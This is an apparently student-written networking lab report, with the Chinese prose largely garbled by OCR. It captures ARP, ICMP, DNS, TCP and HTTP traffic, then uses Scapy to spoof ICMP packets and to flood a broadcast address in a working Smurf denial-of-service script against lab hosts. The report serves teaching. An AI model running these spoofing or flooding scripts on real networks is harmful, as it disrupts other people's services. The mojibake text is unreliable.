S LTRSS TRk &

Lab01: THENLP 48 5LAE S5 % TR

T8 TR
44 Al iz
3= 2022011090

202449 H 24 H



H %

1 tepdump F3HT ICMP JEL ...ttt sasssssssssssssssssssssssssens 3
L1 D A IR B 3T cevveeeeeeeeeeeeeeeseeeeeeeseeseeeesesesessesesessess s ssesesesessesesess s sees s ses s ssesssesees e 4
111 ARP BB LT oo eses st sse s ses e ses s e sesssessesssesess s sess s seesseeesesseees 4
1.1.2 ICMP BB IIHT oot see st seee s esess s ees s eeeeee 5

YOV Y LT = RS T2 a1 Ao 5
13 HIEZIE oo s et seeeses e ses s seeres 6
2 {iH Wireshark 7307 Web Vi TIEFRITRIR oo eecnesesessseseasssssssssenes 7
2.1.1 ARP BB L AT oo s see e seees s sesseeeseesesessess s eessseesesss s 8
2.1.2 DNS BIHEELIIHT oo eeeeessee e v seseseeeessssseseessessssseeseessessesssssssseessesseseesssesssseseessesessee 8
2.1.3 TCP BB L 0T oo s seessseseesesaeses e es s s sses s ssess e sessseeseseseessesesseessrens 8
2130 BENTTEERE oottt ettt sttt et es s 8
2132 FEBRIZETE oo s st eee s s sees oo e s 9

2.1.4 HTTP 755 COOKIE vveeeeeeeeeeeeeeeeeeseeeeeeeeseeesseseesesseoeeseseessesseessssseesesseessssseessessssessseesesssesessenes 9
3 fiH] Scapy #4i& ICMP Echo Request BIHBREL ..o 9

4 Smurf Wik



222 4 TRLE 2% - Lanol: BN LAl 5% T 5 H 3k

1 i tepdump 7347 ICMP i &

HEHE AT ARP 2 —FH TAEAT 1P k(W28 2)F1 MAC Hulik (R 2) 2 ]
AR B 2% R8BI IZBFRF R B ENLER4ESR A B CHY ARP 773K, IdR
CUAIHY 1P LR MAC HEHERIRT N R FRe 4774 T RIREBAR B 1P AUTR KIS, &
SEE I ARP RA17HR, WRKAIREIN AT MAC #illk, FSMIEIZEMN KL IE ARP
Request | 1, TENRX R IP HY MAC Hidik, QIERTEHLZ T #EAIS RS, B EVEIT
ARP Request, H/&ZIH Y IP Hulik- 515K A IP HAEAHIE], BEXmAIER T &ZIX ARP
Reply, 5%1H . MAC Hilik, ARP Reply B HBIZ1L1EK 7 B #T ARP 2577 3R, DAME
GBS,

FLIBE I ITE B P ICMP & ST —4H AT 1P M AYEHITE R, ICMP {HEIEHE
AT IR EFIRG, MENARNE, B AAlAZE, 1ICMP (5Bt A] DU T4,
40 ping SRR E T ICMP WK, &4 ICMP {H EESHEE A — 1 1P R
Hi K1 UDP 2K, ‘ERICIEREARIER,

ping B MTENMLE TH, AT ENZ RENE®RME, ping th BT &I
ICMP Echo Request (R EEIHIREA, A/55EF HFREALIR[E ICMP Echo Reply (43
&, MK EfRFERGELk. ping fir ) TAERBZET ICMP WHSZIRAY,

ARSI LB F SR A0

3]
==
[_ 4
=
Internal Server-192.168.3.200/24
e
Client-192.168.3.10/24 Switch Route External Server-192.168.4.105

K 1.0.1 L5 1 WLgPRh
1E Client EHH tepdump AR etho W] I YEHEEL, 456 ping an 2[NS AR S5 a5 &2 1%
ICMP B, A EUBEHISMHE IPMAC B8R,  IITENT W48 FL R AR A PR AR,


https://zh.wikipedia.org/wiki/%E5%9C%B0%E5%9D%80%E8%A7%A3%E6%9E%90%E5%8D%8F%E8%AE%AE#
https://zh.wikipedia.org/wiki/%E5%9C%B0%E5%9D%80%E8%A7%A3%E6%9E%90%E5%8D%8F%E8%AE%AE#
https://zh.wikipedia.org/wiki/%E4%BA%92%E8%81%94%E7%BD%91%E6%8E%A7%E5%88%B6%E6%B6%88%E6%81%AF%E5%8D%8F%E8%AE%AE
https://zh.wikipedia.org/wiki/%E4%BA%92%E8%81%94%E7%BD%91%E6%8E%A7%E5%88%B6%E6%B6%88%E6%81%AF%E5%8D%8F%E8%AE%AE
https://en.wikipedia.org/wiki/Ping_(networking_utility)

W82 2 TS S2ER - Laso1:THEN M 48 Bl 5 % FH TR i tepdump 7 ICMP it &

1.1 FPIPNINER R B
JEEENRRIATE T S, BSR Client, ARIEFE GRS W] A T IP/MAC Hitik, 4
TA0°F sh A (sudo)IRBL T W N B R FLIE(E 1B

1 #!/bin/bash

2

3 ip neigh flush all # clear ARP cache

4 tcpdump -i eth® -n -e > log & # start tcpdump and save log
5 TCPDUMP_PID=$! # get tcpdump process ID

6 sleep 0.5

7 ping 192.168.3.200 -c 2 # ping inside subnet(2 times)
8 ping 192.168.4.105 -c 2 # ping outside subnet(2 times)
9 sleep 1

10 kill $TCPDUMP_PID # stop tcpdump

11

12 cat log | grep ARP > arp log # filter ARP packets

13 cat log | grep ICMP > icmp log # filter ICMP packets

1.1.1  ARP EEE M
#F arp_log 105k, TILAEE| 2 4 ARP Request Fl1 ARP Reply HHEEL, 754 A
SAIRIEEE L, Ok T

IXEH ARP &2 O EHRRHECAE T ping IHRANREL, ZRENHEAEFVL ARP RfFER
HhE BAR IP B MAC HUMERS, A& 4 ARP R H, fEEX A 1P (25 —IX ping
KRG, FAHLH ARP ZFRHPEEH T HARIP B MAC sk, FrARSHEREE
ARP X H.,
imool@ubuntu-20-desktop: $ cat arp_log

:05.853380 02:99:¢2:70:22:6c > ff.ff:ff:ff:ff:ff, ethertype ARP (0x0806),

42: Request who-has 192.168.3.200 tell 192.168.3.10, length 28
:05.858240 02:82:00:d8:48:8e > 02:99:¢2:70:22:6¢c, ethertype ARP (0x0806),

00: Reply 192.168.3.200 is-at 02:82:00:d8:48:8e, length 46

:06.862320 02:99:¢2:70:22:6c > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806),
42: Request who-has 192.168.3.1 tell 192.168.3.10, length 28

:00.866468 02:dd:a5:a2:46:04 > 02:99:¢2:70:22:6¢c, ethertype ARP (0x0806),
60: Reply 192.168.3.1 is-at 02:dd:a5:a2:46:04, length 46

& 1.1.2 ARP FdEfid®

o B—H ARP R EKAEEANM, BT Client Y ARP EfER TS 192.168.3.200 HIHH
XKidxk, HEHSMEEEN 24, HWEHEMR P SHCNMNTHR—FMT, Kt
Client(192.168.3.10)TEfTJE& TN #%& ARP Request, E 15K 192.168.3.200 ] MAC !



W2 224 TRE S SCEE - Laso1: T HE MM it 5 % FH TR TIPSR & AT

Hik (AT PAE Bizdl SR Y B R MAC Hiht B O BOME SRR, [Fl—F 8 Y
Internal Server(192.168.3.200)!K Zl| ARP Request /&, [A] Client &% ARP Reply, SX1H
CLHY MAC ik,

« B4 ARP ZERAELENINNZIH], [FIFERY, FH) Client HI%H 192.168.4.105 HIHE
EMNER, FHRIERE TSRS EAR P AT ARF W, Ei Client /™ #&iEK
BRIAMISE 192.168.3.1 [ MAC #itsik, DAEIGEHRE L IERISMNA; Router 43T ARP
reply [FIN, &%1H ) MAC #ik,

1.1.2 ICMP Bl 5
#E icmp_log Ik, A PAFF| 4 2H ICMP ECHO Request I ICMP ECHO Reply ¥4/
i, 1842 ping i SHIHITIREL. TEIBELT WAEN T4 —4 ICMP B f

03:32:49,668052 02:99:¢2:70:22:6c > 02:82:00:d8:48:8e, ethertype IPv4 (0x0800),
length 98: 192.168.3.10 > 192.168.3.200: ICMP echo request, id 75, seq 2, length
b4

03:32:49.671461 02:82:00:d8:48:8e > 02:99:c2:70:22:6c, ethertype IPv4 (0x0800),
length 98: 192.168.3.200 > 192.168.3.10: ICMP echo reply, id 75, seq 2, length 6

4

03:32:49.680104 02:99:¢2:70:22:6c > 02:dd:a5:a2:46:04, ethertype IPv4 (0x0800),
length 98: 192.168.3.10 > 192.168.4.105: ICMP echo request, id 76, seq 1, length
b4

03:32:49.684568 02:dd:a5:a2:46:04 > 02:99:c2:70:22:6c, ethertype IPv4 (0x0800),
length 98: 192.168.4.105 > 192.168.3.10: ICMP echo reply, id 76, seq 1, length 6
4

K 1.1.3 ICMP EdEid R
A] PAB 2|F4H ICMP ECHO X H. 53 5| R ZE1E Client 5 Internal Server, Client 55 External
Server Z[H], ICRFHELE 7B IP 5 MAC #itsik, fRokRIRTE, HHH%.

1.2 AL HEIRTE

{BIL Client 17 MRS A 28, 7T AT MLAIEESRZ, Client(192.168.3.10)= AN E E
HIF M =S B L RER 24 = 167k, SEHRHIIACH Internal Server(192.168.3.200)5 H
TMEFR—FMT, BT fBIEREIAMSCH MAC #idik, F2ME Router Kl
FISHEIER, KHES,

BT B3R sh A, ICREBIREIEBEEN, HSHESM, 7E ping Internal

Server [N, 15| 7T7 —Z45IRE S



W2 224 TRE S SCEE - Laso1: T HE MM it 5 % FH TR FERG AL B A IR T

--- 192.168.3.200 ping it ---
ERE 1M, Bl 148, +1 82, 05 8%, Hi 0
rtt min/avg/max/mdev = 14.298/14.298/14.298/0.000 ms
F’ING 192.168.4.105 (192.168.4.105) 56(84) bytes of data.

171. ¥B 192.168.4.105: icmp_seq=1 tt1=63 B}(E)=4.50 £
64 , EB 192.168.4.105: icmp_seq=2 tt1=63 B}[E)=3.92 |

--- 192.168.4.105 ping #5it ---
2SRIX 2 M, B 2 M, 0% AEK, HAE 1002 0
rtt min/avg/max/mdev = 3.921/4.209/4.498/0.288 ms
14 packets captured
14 packets received by filter
@ packets dropped by kernel

124 FMEAEEEFIRMEICR
AHE icmp_log I3k, ARIMHIL T —FHrH) ICMP WX IP £ ICMP Redirect, iXJ2
Router ZHAVESER, I Client AR ERE A MRS & ICMP Echo Request 2113
f, ME2EFEAMTFHRERTEN. K& arp_log W&, 7E55—(X ping Internal
Server I, Client FLANFRAITEARYAREE, BRI #EE 18 Router Y MAC Hiuflk, A2
Internal Server ) MAC Hithf,

imool@ubuntu-20-desktop: $ cat icmp_log

04:00:05.426877 02:99:¢2:70:22:6c > 02:dd:a5:a2:46:04, ethertype IPv4 (0x0800),
length 98: 192.168.3.10 > 192.168.3.200: ICMP echo request, id 77, seq 1, length
64

04:00:05.430641 02:dd:a5:a2:46:04 > 02:99:¢2:70:22:6c, ethertype IPv4 (0x0800),
length 70: 192.168.3.1 > 192.168.3.10: ICMP redirect 192.168.3.200 to host 192.1
68.3.200, length 36

B 1.2.5 ZBA M A 1% ICMP Echo Request 5 #75% (0]

imool@ubuntu-20-desktop: $ cat arp_log
105.420674 02:99:¢2:70:22:6¢ > ff:ff:ff.ff:ff:ff, ethertype ARP (0x0806), 1
42: Request who-has 192.168.3.1 tell 192.168.3.10, length 28
:05.426845 02:dd:a5:a2:46:04 > 02:99:¢2:70:22:6c, ethertype ARP (0x0806), 1
60: Reply 192.168.3.1 i1s-at 02:dd:a5:a2:46:04, length 46

:05.430679 02:99:¢2:70:22:6¢c > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), 1
42: Request who-has 192.168.3.200 tell 192.768.3.10, length 28

:05.435379 02:82:00:d8:48:8e > 02:99:c2:70:22:6c, ethertype ARP (0x0806), 1
60: Reply 192.168.3.200 is-at 02:82:00:d8:48:8e, length 46

1.2.6 £5IRM) ARP Request 1T



W24 TAR G 9LE - Laso 1T HEH LM B 5 % H TR Hihk 2

ICMP ECHO ICMP ECHO
ARP Request ARP Reply

Request Reply

Dperatior
SIC dst SIc dst

MAC MAC MAC MAC
inside | 02:99:c2:| fh:Af:AF: | 02:82:00: | 02:99:c2: | 192.168.| 192.168. [ 192.168. | 192.168.

src IP dst IP src IP dst IP

subnet | 70:22:6¢c | fEAf:Aff | d8:48:8e | 70:22:6¢ 3.10 3.200 3.200 3.10
outside | 02:99:c2:| fIAf:ff: |[02:dd:a5:| 02:99:c2: | 192.168.| 192.168. | 192.168.| 192.168.

subnet | 70:22:6¢c | M | a2:46:04 | 70:22:6¢ 3.10 4.105 4.105 3.10
wrong | 02:99:c2: AT | 02:dd:a5: | 02:99:¢c2: | 192.168.| 192.168. | 192.168.| 192.168.

mask | 70:22:6¢c | fE:AE:ff | a2:46:04 | 70:22:6¢ 3.10 3.200 3.200 3.10

£ Wrong mask —17, 5% ARP £#E 12 Client 55 Internal Server Z [AIfY, K5
External Server Z [A]HIB{EE A HEMFH, AP, 1ZITH ICMP ECHO Request £ LAY
dst IP 2 2E T EARRY 1P, MRS L L ERALH A HAR 1P, K295 —IX ICMP ECHO
Request R EIE 4T Router, HRIM T ; HIZATHHJ ICMP ECHO Reply 3724 ICMP
Redirect Z41Ef5, [A] Internal Server B %1 3K f5iR [BIHY,

2 ¥ Wireshark 738 Web i lnid Fiii s

Wireshark 72— MR LS B HTE MR, RTRASEIN e A0 28 B0 G i A
il Wireshark SZHr Z R AYAENT, 45 TCP. UDP. HTTP. FTP &, A4,
f#H ] Wireshark 77871 Web Vi AIIEFEAYIRE, T # HTTP WHH) TAERE,
RTINS A0 T &

AT
(DMS)
LY -._I,'-.'
DNS-192.168.2.53

www.imool.com.cn

]

e

el

Client-192.168.3.10 Router Web Server-192.168.4.105

2.0.7 256 2 MLEHRFh


https://zh.wikipedia.org/wiki/Wireshark

1 FH Wireshark 734 Web 15 [R]Id 12
Mgz e TS SEE - Lasol: I ENINE RS 5 FH TR M

1E Client &5+ wireshark F ST etho T, [R]AS s B X Y 28 177 7] www.imool.
com.cn PWl, FE wireshark FHF{K{XE£| ARP/DNS/TCP/HTTP WMYIEHER, 4 REFT

N

Time Source Destination Protocol Length Info
.000000000 02:77:75:a9:€2:41 Broadcast ARP 42 who has 192.168.3.1? Tell :

2 ©.002534024 MS-NLB-PhysServer-1.. 02:77:75:a9:e2:41 ARP 60 192.168.3.1 is at 02:0a:5a
3 0.002549160 192.168.3.10 192.168.2.53 DNS 76 Standard query 0x8424 A
4 0.002562838 192.168.3.10 192.168.2.53 DNS 76 Standard query ©x052a AAAA
5 0.007320814 192.168.2.53 192.168.3.10 DNS 125 Standard query response 0x
6 ©.007783034 192.168.2.53 192.168.3.10 DNS 117 Standard query response 0x
7 ©.134955545 192.168.3.10 192.168.4.105 TCP 74 36690 — 80 [SYN] Seq
8 0.138565857 192.168.4.105 192.168.3.10 TCP 74 80 — 36690 [SYN,
9 0.138583894 3 4.105 TCP 54 36690 - 80
335470386 3 4.105 TCP 74 36696 — 80
11 0.335896445 192.168.3. 4.105 TCP 74 36702 — 80
12 ©.336094561 192.168.3. .4.185 TCP 74 36718 - 80
.338942363 192.168.4. 3.10 TCP 74 80 — 36696
14 0.338955566 192.168.3.: 4.105 TCP 54 36696 - 80
339323223 . .4 192.168.3. TCP 74 80 — 36702
16 ©.339350876 192.168.3.10 192.168.4.105 TCP 66 36702 - 80
17 ©.339807119 192.168.4.165 192.168.3.10 TCP 74 80 — 36718
18 ©.339817134 192.168.3.10 192.168.4.105 TCP 66 36718 — 80
19 0.341434880 192.168.3.10 192.168.4.105 HTTP
20 0.341524672 192.168.3.10 192.168.4.105 HTTP
21 ©.344086998 192.168.4.165 192.168.3.10 TCP 66 80 — 36702 [ACK] Seg=1 Ack
22 0.344658044 192.168.4.105 192.168.3.10 TCP 66 80 — 36718 [ACK] Seq=1 Ack

2.0.8 Wireshark HdE 105

2.1.1 ARP B0

—2 ARP X H. KA 1E Client 5ERIAMZE Router(192.168.3.1)Z[A], Client | #&iE K
RouterMAC #i3lk, Router [A]%/ ARP Reply &5 %1 H C.HY MAC #idik,

2.1.2 DNS Bt

Client 55 DNS ir%5 28 < 8] —3H:HE4T 7 MR DNS 2 1f, 7351718 www.imool.com.cn Y

A TEF(IPva HiME)FT AAAA IEFE(IPve Hillk), DNS ZEIfIIFEH, Client [A] DNS iR%5 88 &

% query Zi#EEl, DNS ARZ528[EIM query response (#EEL, %] www.imool.com.cn Y

Ip ok, BAKRE, HEAREE=1FK

o Answer:ELFTISAAF 1P HibE, BIANARSERAS RIS — 550 A IERAYEE 2 www.
imool.com.cn: type A, class IN, addr 192.168.4.105

« Authority: A ST IZIH A A DNS k554352, 140 imool.com.cn: type NS, class IN,
ns ns.imool.com.cn

« Additional:ZMAMZ R, HIU ns.imool.com.cn: type A, class IN, addr
192.168.4.105

2.1.3 TCP gt

2.1.3.1 EIER

Client 55 Web [R5 88> [AIEE 7. TCP EHEMN T EHIT=IKETF
« Client B ElAIRSS #a & 1% SYN $R 0, 1B R ER

o 2RSSR SYN+ACK SR, T2 REIER



1 FH Wireshark 734 Web 15 [R]Id 12
M2 e TR S S - Lasol: BN ER S5 H T H M

« EJ5 Client [FI ACK ##EHl, FREREKY)

£ wireshark B H A IERIHIESZ D TCP R, XEHTRAETREmMEMT
RST HTER:, fEHhWr 2 [E2REIAEE, RANELER, KRERE—IRRSTH
HTTP HdEH 2 AR TCP BdEt, RIDAB SRS #RE XS Client SERTAYZ X SYN 1HKi#
T 7R ACK i\, #% Client [BIM. ACK J5, JERZRINENT,

2.1.3.2  PRbRi%ER:

MECEENZ %4, Client 5 RS 88 Z [RIWH TCP RN 73R BB AEE, FE
2 IVIA%E T

« Client [MARSS %8 & )% FIN AR, I8 RETTTIER

- NRS5ASIEIN. ACK £ifEtl, FRonfeZWiTiER

- ARZ5#5MM Client &1 FIN a6, & RWFIZERE

» Client [AINV. ACK #ilEt, FRazWimiaNK

£ wireshark JIELHA] A BIFF 5122 A TCP BIEEAZ H,

2.1.4 HTTP {ii’5 Cookie

HTTP BdEEAHEE 7 HTTP iERKM HTTP MR PIAPZERY, HTTP i5R 45 GET/POST
FITI%, WEARKELES Host/User-Agent F(5 8, 1HRINIAE Cookie 5K ; HTTP Hi
WALERARZS /Wi B Sk EFAEAE R, M RARELES HTML/JSON S8dE, 1 wireshark #T1ELH
AU S HTTP 16 KA S A B, Hrpmas AR & 7 W ol HTML 3RS, AT BA
B2 W DTSRI A,
T HRBH PG R TR Cookie 188, B PAEH] wireshark BYIRIEERIIRE, 1E£E

Analyze>FollowsHTTP Stream, A]CAES| HTTP I RAINEN AITELHE B, Al DAEHZIA
(XA Cookie A imool-g6a77h9wOt2ul5] kx

3 {i Scapy i ICMP Echo Request Z(#i5

Scapy J&— T KR S LR ARSI R TR, 7TPUH TS SR EIEdE
£, 41TP, TCP. UDP. ICMP %, Scapy ¥ Python i&{%, nJAT7 (EHIAGIE R fEHTEL
B, AL, {#H] Scapy #3& ICMP Echo Request L, i AN P 2 TR
ICMP Echo X HATH, T fediliE,

ARSI RN U R E]


https://zh.wikipedia.org/wiki/Scapy

W22 42 TRR S SLEL - Lasol:THENIMZEE AL 5 # H TR

{5 Scapy 1Ji& ICMP Echo Request
iRt

Victim

152.168.3.10

LY}
My

Router

Attacler

(32
192.168.2. 100

& 3.0.9 L5 3 MZnth

User

e

192.168.4.105

S0 Victim, FJF wireshark i05% etho AR EER, ARG Attacker, %8 T5

T sudo FF/F scapy R ERFHG, MRKIRPAT Fan4

U A W N R

send(icmp_request)

ip_layer=IP(src="192.168.4.105",dst="192.168.3.10")
icmp layer=ICMP()

payload="I come from Attacker-192.168.2.100"
icmp request=ip layer/icmp_layer/payload

#"hello world"

£ Victim H wireshark H7A] BAF £ User [A] Victim &)X T ICMP Echo Request £ L,

IREQ NN

» Frame 1: 76 bytes on wire (608 bits), 76 bytes captured (608 bits) on interface eth®, id ©
~ Ethernet II, Src: MS-NLB-PhysServer-32_12:41:43:42:30 (02:32:41:43:42:30), Dst: 02:99:c2:70:22:6c (02:99:¢2:70:22:6c)
» Destination: 02:99:c2:70:22:6c (02:99:c2:70:22:6¢)
» Source: MS-NLB-PhysServer-32 12:41:43:42:30 (02:32:41:43:42:30)
Type: IPv4 (0x0800)

» Internet Protocol Version 4, Src:
» Internet Control Message Protocol

02
ee
03
20
39

99
3e
fa
66
32

c2
L]
o8
72
2e

70
01
0o
6T
31

22
00
08
6d
36

6c 02
00 3f
01 60
20 41
38 2e

32
01
08
74
32

a1
2
00
74
2e

192.168.4.105, Dst:

43
fa
0o
61
31

42
c@
49
63
30

30
a8
20
6b
30

192.168.3.10
08 @@ 45 @8 p"1-2 ACBO- E
04 69 cO a8 > ? i
63 6T 6d 65 I come
65 72 2d 31 from At tacker-1

92.168.2 .100

& 3.0.10 {Ri&H ICMP Echo Request (& (LI 5%

10



{5 Scapy 1Ji& ICMP Echo Request

Mg 222 TR S S2ER - Laso1: 3 BN ML B 545 T HiEE
4 Smurf Bk

Smurf attack 2 —RNEIS (&2 FE 1P Hillh, A7 1%k S 1% ICMP Echo Request
R, MmEEA B2 EH EHLAZIE ICMP Echo Reply a1 DDoS B(ifi /7
o Smurf B FIH T ICMP Echo Request R LAY #E5e1E, I DAERKIMZEHZE, *
M A28 1B H I8 S, EASLIH, R scapy HIA, H—R Smurf Bifi(Dos), T K

ARSLEG B I 8 RN AT E]

192.168.3.0/24

iy

. Attacker-192.168.4.104
User1-192.168.3.10

User2-192.168.3.20

A ! A
Switch Router Switch Victim-192.168.4.105

User3-192.168.3.30

Userd-1592.168.3.40

&l 4.0.11 L5 4 M2gRFh
Bk Attacker 375 F DA sudo FF /3 scapy R EAFLH G, MRKIXPATI Fins>

from scapy.all import *
ip layer=IP(src="192.168.4.105",dst="192.168.3.255")
icmp layer=ICMP()

1
2
3
4 icmp request=ip layer/icmp layer
5 while True:

6

send(icmp request)

B RPE ORI AT User LA Victim AL, #H tcpdump -i ethe -q P EE
6L, PFILABZ| User oH KE LR Request/Reply BHEEL, 1M Victim {HZULEIK &
[ ICMP Echo Reply #dEEL, TR B RMBARAX AR FENL. W1 ~E

11


https://en.wikipedia.org/wiki/Smurf_attack

W82 2 TS S2ER - Laso1:THEN M 48 Bl 5 % FH TR Smurf Wit

.407676
.407799
.409457
.409461
.413585
-415449
-415904
-419336
.419831
.421215
3.423294
.423750
.424425
.424802
.425055
.425883
B YA VAS VA
.426902
427122
-427401
.429218
.429388
3.430920
.431103
.434790
.434967
.438125
.438249
.438372
.438675
.-438814
-439268
.441733
.441866
3.443849
.443982
.444274
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#!/bin/bash

1

2

3 tcpdump -i eth® -q > log &

4 TCPDUMP_PID=$!

5 sleep 5

6 kill $TCPDUMP_PID

7 PACKET _COUNT=$(($(wc -1 < log)-1))

8 echo "number of received packets in 2 seconds: $PACKET_ COUNT"

ke SN
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root@ubuntuld:™# . /count

tcpdump: verbose output suppressed, use —v or -vu for full protocol decode
listening on eth0, link-type EN1OMB (Ethernet), capture size 262144 bytes
2612 packets captured

2904 packets received by filter

0 packets dropped by kernel

number of received packets in 5 seconds: 2612
root@ubuntul8: "8 _

& 4.0.13 User 55 PNAZIMAEE LR

root@ubuntuld:™# . /count

tcpdump: verbose output suppressed, use —v or -vu for full protocol decode
listening on eth0, link-type EN1OMB (Ethernet), capture size 262144 bytes
3543 packets captured

4368 packets received by filter

0 packets dropped by kernel

number of received packets in 5 seconds: 3543
rootBubuntuld: 4
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WHRFEZED T, AKX A—HE=6T0, SE8FNLHN reply BRI EZ
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